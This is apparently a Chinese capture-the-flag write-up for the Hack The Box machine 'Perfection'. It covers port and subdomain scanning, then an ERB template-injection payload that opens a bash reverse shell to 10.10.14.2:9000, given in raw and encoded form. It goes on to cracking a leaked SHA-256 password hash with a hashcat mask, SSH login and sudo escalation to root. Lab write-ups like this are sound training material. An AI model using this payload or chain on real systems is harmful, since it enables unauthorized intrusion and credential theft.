总体思路
端口扫描->SSTI RCE->db文件泄露->hashcat破解密码
信息收集&端口利用
nmap -sV -sC -A 10.10.11.253
目标只开放了22和80端口,先进行目录扫描和子域名探测
dirsearch -u 10.10.11.253
ffuf -c -u http://pefection.htb/ -H "Host: FUZZ.perfection.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
没有有价值的信息,回到80端口上
SSTI RCE利用
来到界面,是一个成绩计算器,先随意填写数值查看效果
提交数据时候抓包,放入一段反弹shell的代码
#源代码为
<% system("echo
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/9000 0>&1 | base64 -d | bash");
%>;
#经过url编码和base64编码后为
category1=1%0A;<%25+system("echo+IyEvYmluL2Jhc2gKYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yLzkwMDAgMD4mMQ==+|+base64+-d|+bash");+%25>;
db文件泄露
查找当前用户有什么敏感信息
在Migration文件夹下有一个db数据库文件,将其下载到本地查看
Hashcat破解密码
有若干个用户名以及密码,将他们放入john查看是否能够破解
破解失败,可能是加密方式不对,继续查找敏感信息,发现在/var/spool/mail中有一段关于密码的提示
大概意思就是需要用户自己重置密码,重置的格式为{名字_名字的逆序_在(1,1000000000)之间的一个随机数},尝试使用hashcat的掩码爆破功能破解
hashcat -m 1400 -a 3 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d?d?d?d?d
其中-a指定破解模式,3为指定掩码破解,后面跟的第一个参数为密文,第二个参数为要爆破的数值
可以看到,爆破出来的密码为:susan_nasus_413759210,使用susan/susan_nasus_413759210登录到主机
ssh susan@10.10.11.253
查看当前用户能够执行的权限
发现该用户能够执行所有的sudo命令,使用sudo提权到root用户
sudo su root
提权成功